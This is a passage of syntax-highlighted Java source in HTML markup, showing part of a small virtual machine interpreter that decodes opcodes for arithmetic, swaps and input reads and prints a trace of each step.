class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n    <span class=\"token keyword\">private</span> <span class=\"token keyword\">static</span> <span class=\"token keyword\">void</span> <span class=\"token function\">vm</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">throws</span> <span class=\"token class-name\">IOException</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token class-name\">BufferedReader</span> bufferedReader <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">BufferedReader</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">InputStreamReader</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>in<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">int</span> pc <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">int</span> sp <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">int</span><span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span> stack <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token keyword\">int</span><span class=\"token punctuation\">[</span><span class=\"token number\">1024</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">int</span><span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span> buf <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token keyword\">int</span><span class=\"token punctuation\">[</span><span class=\"token number\">4</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>pc <span class=\"token operator\">&lt;</span> program<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token comment\">// System.out.println(stack);</span>\n            <span class=\"token comment\">// System.out.println(buf);</span>\n            <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Offset: \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">Integer</span><span class=\"token punctuation\">.</span><span class=\"token function\">toHexString</span><span class=\"token punctuation\">(</span>pc<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"  Call: \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">println</span><span class=\"token punctuation\">(</span>program<span class=\"token punctuation\">[</span>pc<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            <span class=\"token comment\">// System.out.println(stack[0]);</span>\n            <span class=\"token keyword\">switch</span> <span class=\"token punctuation\">(</span>program<span class=\"token punctuation\">[</span>pc<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">0</span><span class=\"token operator\">:</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">1</span><span class=\"token operator\">:</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">2</span><span class=\"token operator\">:</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">3</span><span class=\"token operator\">:</span>\n                    <span class=\"token comment\">// System.out.println(program[pc]);</span>\n                    <span class=\"token keyword\">byte</span> b <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">byte</span> b2 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">int</span> i3 <span class=\"token operator\">=</span> buf<span class=\"token punctuation\">[</span>b<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    buf<span class=\"token punctuation\">[</span>b<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> buf<span class=\"token punctuation\">[</span>b2<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    buf<span class=\"token punctuation\">[</span>b2<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> i3<span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"======> 0x0 0x1 0x2 0x3 : \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Swap buf[b] = \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span>b<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\" buf[b2] = \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">println</span><span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span>b2<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">8</span><span class=\"token operator\">:</span>       \n                    <span class=\"token keyword\">byte</span> b3 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"======> 0x8 b3 :\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span>b3<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"  buf[b3] = \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span>b3<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\" + \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span>program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    buf<span class=\"token punctuation\">[</span>b3<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> buf<span class=\"token punctuation\">[</span>b3<span class=\"token punctuation\">]</span> <span class=\"token operator\">+</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"  Result : \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">println</span><span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span>b3<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">9</span><span class=\"token operator\">:</span>\n                    <span class=\"token keyword\">byte</span> b4 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"======> 0x9 b4 : \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span>b4<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\" buf[b4] = \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span>b4<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\" + \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span>program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    buf<span class=\"token punctuation\">[</span>b4<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> buf<span class=\"token punctuation\">[</span>b4<span class=\"token punctuation\">]</span> <span class=\"token operator\">+</span> buf<span class=\"token punctuation\">[</span>program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"  Result : \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">println</span><span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span>b4<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">12</span><span class=\"token operator\">:</span>\n                    <span class=\"token comment\">// input-1</span>\n                    <span class=\"token comment\">// check-3</span>\n                    <span class=\"token keyword\">byte</span> b5 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token comment\">// buf[0] = buf[b5] - 1</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"======> 0x12 Buf :\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span>b5<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"  buf[b5] = \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span>b5<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\" - \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span>program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"  Result : \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    buf<span class=\"token punctuation\">[</span>b5<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> buf<span class=\"token punctuation\">[</span>b5<span class=\"token punctuation\">]</span> <span class=\"token operator\">-</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">println</span><span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span>b5<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">13</span><span class=\"token operator\">:</span>\n                    <span class=\"token keyword\">byte</span> b6 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"======> 0xd b6 :\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span>b6<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"  buf[b6] = \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span>b6<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\" - \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span>program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    buf<span class=\"token punctuation\">[</span>b6<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> buf<span class=\"token punctuation\">[</span>b6<span class=\"token punctuation\">]</span> <span class=\"token operator\">-</span> buf<span class=\"token punctuation\">[</span>program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"  Result : \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">println</span><span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span>b6<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">16</span><span class=\"token operator\">:</span>\n\n                    <span class=\"token keyword\">byte</span> b7 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    buf<span class=\"token punctuation\">[</span>b7<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> buf<span class=\"token punctuation\">[</span>b7<span class=\"token punctuation\">]</span> <span class=\"token operator\">*</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">17</span><span class=\"token operator\">:</span>\n\n                    <span class=\"token keyword\">byte</span> b8 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    buf<span class=\"token punctuation\">[</span>b8<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> buf<span class=\"token punctuation\">[</span>b8<span class=\"token punctuation\">]</span> <span class=\"token operator\">*</span> buf<span class=\"token punctuation\">[</span>program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">20</span><span class=\"token operator\">:</span>\n\n                    <span class=\"token keyword\">byte</span> b9 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    buf<span class=\"token punctuation\">[</span>b9<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> buf<span class=\"token punctuation\">[</span>b9<span class=\"token punctuation\">]</span> <span class=\"token operator\">/</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">21</span><span class=\"token operator\">:</span>\n\n                    <span class=\"token keyword\">byte</span> b10 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    buf<span class=\"token punctuation\">[</span>b10<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> buf<span class=\"token punctuation\">[</span>b10<span class=\"token punctuation\">]</span> <span class=\"token operator\">/</span> buf<span class=\"token punctuation\">[</span>program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">24</span><span class=\"token operator\">:</span>\n\n                    <span class=\"token keyword\">byte</span> b11 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    buf<span class=\"token punctuation\">[</span>b11<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> buf<span class=\"token punctuation\">[</span>b11<span class=\"token punctuation\">]</span> <span class=\"token operator\">%</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">25</span><span class=\"token operator\">:</span>\n                    <span class=\"token keyword\">byte</span> b12 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    buf<span class=\"token punctuation\">[</span>b12<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> buf<span class=\"token punctuation\">[</span>b12<span class=\"token punctuation\">]</span> <span class=\"token operator\">%</span> buf<span class=\"token punctuation\">[</span>program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">28</span><span class=\"token operator\">:</span>\n\n                    <span class=\"token keyword\">byte</span> b13 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    buf<span class=\"token punctuation\">[</span>b13<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> buf<span class=\"token punctuation\">[</span>b13<span class=\"token punctuation\">]</span> <span class=\"token operator\">&lt;&lt;</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">29</span><span class=\"token operator\">:</span>\n\n                    <span class=\"token keyword\">byte</span> b14 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    buf<span class=\"token punctuation\">[</span>b14<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> buf<span class=\"token punctuation\">[</span>b14<span class=\"token punctuation\">]</span> <span class=\"token operator\">&lt;&lt;</span> buf<span class=\"token punctuation\">[</span>program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">31</span><span class=\"token operator\">:</span>\n\n                    buf<span class=\"token punctuation\">[</span>program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> bufferedReader<span class=\"token punctuation\">.</span><span class=\"token function\">read</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">32</span><span class=\"token operator\">:</span>\n                    <span class=\"token comment\">// input-3 Read byte</span>\n                    <span class=\"token keyword\">int</span> i4 <span class=\"token operator\">=</span> sp<span class=\"token punctuation\">;</span>\n                    sp<span class=\"token operator\">++</span><span class=\"token punctuation\">;</span>\n                    stack<span class=\"token punctuation\">[</span>i4<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> bufferedReader<span class=\"token punctuation\">.</span><span class=\"token function\">read</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token comment\">// System.out.println(stack[i4]);</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"======> Read at : \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">println</span><span class=\"token punctuation\">(</span>i4<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    pc<span class=\"token operator\">++</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">33</span><span class=\"token operator\">:</span>\n                    <span class=\"token comment\">// System.out.print((char) buf[program[pc + 1]]);</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n\n                <span class=\"token keyword\">case</span> <span class=\"token number\">34</span><span class=\"token operator\">:</span>\n                    <span class=\"token comment\">// POP; Print</span>\n                    sp<span class=\"token operator\">--</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token comment\">// System.out.print((char) 